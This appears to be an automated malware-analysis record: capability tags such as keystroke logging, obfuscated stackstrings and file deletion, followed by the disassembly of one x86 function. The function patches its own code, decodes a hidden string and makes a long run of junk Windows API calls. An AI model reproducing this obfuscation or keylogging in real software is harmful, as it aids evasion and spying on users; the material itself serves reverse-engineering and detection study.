Function at 0xa88000
Capabilities:
Accept command line arguments
Clear file content
Contain obfuscated stackstrings
Create pipe
Delete file
Get graphical window text
Get memory capacity
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov dword [ebp - 0x10], 0xa8890a
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xa88036
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xa881b6
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xa880b8
call fcn.00464f02
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xa8807a
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xa88094
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xa88094
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xa8804a
mov byte [ebp - 0x68], 8
mov byte [ebp - 0x67], 0x71
mov byte [ebp - 0x66], 3
mov byte [ebp - 0x65], 0x23
mov byte [ebp - 0x64], 5
mov byte [ebp - 0x63], 0x6e
mov byte [ebp - 0x62], 6
mov byte [ebp - 0x61], 0x75
mov byte [ebp - 0x60], 1
mov byte [ebp - 0x5f], 0x7e
mov byte [ebp - 0x5e], 7
mov byte [ebp - 0x5d], 0x6c
mov byte [ebp - 0x5c], 0
mov byte [ebp - 0x5b], 0x7f
mov byte [ebp - 0x5a], 4
mov byte [ebp - 0x59], 0x86
mov byte [ebp - 0x58], 2
mov byte [ebp - 0x57], 0x7f
mov byte [ebp - 0x56], 0xb
mov byte [ebp - 0x55], 0x11
mov byte [ebp - 0x54], 0x79
mov byte [ebp - 0x53], 0x65
mov byte [ebp - 0x52], 0x24
mov byte [ebp - 0x51], 0x8b
mov byte [ebp - 0x50], 0xdb
mov byte [ebp - 0x4f], 0xe
mov byte [ebp - 0x4e], 0xfc
mov byte [ebp - 0x4d], 0xcb
mov byte [ebp - 0x4c], 5
mov byte [ebp - 0x4b], 9
mov byte [ebp - 0x4a], 0x7c
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xa88146
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x1f
jae 0xa881ab
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x68]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xa88172
mov dword [ebp - 0x24], 0xb
mov eax, dword [ebp - 8]
add eax, 9
mov dword [ebp - 8], eax
jmp 0xa8813e
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x67]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xa8819a
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xa88187
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x68]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xa8813e
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xa7cbfa
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.004077fd
mov ecx, eax
call fcn.00402b4d
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.00402af1
and dword [ebp - 0x1c], 0
jmp 0xa881ee
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xa881fe
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xa881e7
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0xd18
push 0x1ec5
push 0x28c
push 0x2148
push 0x1686
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PatBlt]
push 0x13b0
push 0x9e2
push 0
call dword [sym.imp.GDI32.dll_CreatePolygonRgn]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
push 0
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0
push 0
call dword [sym.imp.GDI32.dll_RectInRegion]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsIconic]
push 0x2512
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CombineRgn]
push 0x1068
push 0x2406
push 0x6e8
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
call dword [sym.imp.USER32.dll_PeekMessageA]
push 0
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectClipRgn]
push 0
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetPropA]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsIconic]
push 0xa1e
push 0xdc6
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawEdge]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawFocusRect]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_BeginPaint]
push 0x1969
push 0
push 0x1e2a
push 0
push 0x224
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringW]
push 0
push 0x228a
push 0x8b9
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetWindowExtEx]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RemovePropA]
push 0x15de
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push 0x868
call dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0x1300
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_DeleteDC]
call dword [sym.imp.KERNEL32.dll_GetACP]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RectVisible]
push 0
push 0
call dword [sym.imp.GDI32.dll_CopyEnhMetaFileA]
push 0x63b
push 0x1678
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetSystemMenu]
push 0
push 0xf0f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetScrollInfo]
push 0x1d4f
push 0
push 0x22c2
push 0
call dword [sym.imp.USER32.dll_LoadStringA]
push 0x24da
push 0
push 0
push 0x1b9c
push 0xabe
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDIBits]
push 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.USER32.dll_SetKeyboardState]
push 0
push 0x1b6b
push 0
push 0x7ab
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CloseEnhMetaFile]
push 0
push 0
push 0x17ed
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push 0
push 0x1114
push 0x7a9
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
push 0xd86
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0
push 0x122e
push 0x9a0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharABCWidthsW]
push 0x1131
push 0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x1d78
push 0
push 0
push 0
push 0x1071
push 0
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
push 1
push 0x927
push 0x84d
push 0x58c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollRange]
push 0xfaa
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetLayout]
push 0
call dword [sym.imp.GDI32.dll_CreatePenIndirect]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0
call dword [sym.imp.GDI32.dll_GetObjectType]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
push 0xfe
push 0x1ce0
push 0
call dword [sym.imp.USER32.dll_OffsetRect]
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommState]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextColor]
push 0
push 0x123f
push 0
call dword [sym.imp.GDI32.dll_GetObjectW]
push 0x48
push 0x1ab2
push 0x1b76
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x1705
push 0x2472
push 0xeb3
push 0x1cb
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_CreateDialogIndirectParamA]
push 0
push 0x654
push 0x1062
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetSystemPaletteEntries]
push 0
push 0
push 0x538
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
push 0x2214
push 0
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
push 0
call dword [sym.imp.USER32.dll_IsRectEmpty]
push 0x1661
push 0
push 0
call dword [sym.imp.GDI32.dll_TranslateCharsetInfo]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadTimes]
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0
push 0xf6e
push 0x13d2
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_MoveToEx]
push 0xf8f
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
push 0
push 0xee5
push 0x25fc
call dword [sym.imp.GDI32.dll_CreatePen]
push 0
push 0
push 0x1ca3
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
push 0x1899
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0
call dword [sym.imp.GDI32.dll_CreatePatternBrush]
push 0x18aa
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0x1d3e
push 0
push 0
push 0x1cd9
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x941
push 0x1b19
push 0
push 0
push 0x1a72
call dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
push 0
push 0xfaa
push 0x6ad
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_KillTimer]
push 0x24
push 0x767
call dword [sym.imp.KERNEL32.dll_Beep]
push 0
push 0x26fc
push 0
push 0
push 0x3c9
push 0xc7f
push 0x1038
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExtTextOutA]
push 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0
push 0
push 0x23d
push 0x2bd
push 0
call dword [sym.imp.USER32.dll_InsertMenuA]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x13f6
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 1
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
push 0x1b80
push 0x1a3a
push 0xd0e
push 0x2019
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_IntersectClipRect]
push 0
push 0x193d
push 0xcfd
push 0xeb5
push 0xabb
push 0xc48
push 0x26ce
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push 0x205e
call dword [sym.imp.GDI32.dll_GetStockObject]
push 0
call dword [sym.imp.ole32.dll_CoTaskMemFree]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_TranslateMDISysAccel]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowPlacement]
push 0x29d
call dword [sym.imp.USER32.dll_BeginDeferWindowPos]
push 0x38f
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
push 0
push 0x19c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
jmp 0xa88914
mov esp, ebp
pop ebp
ret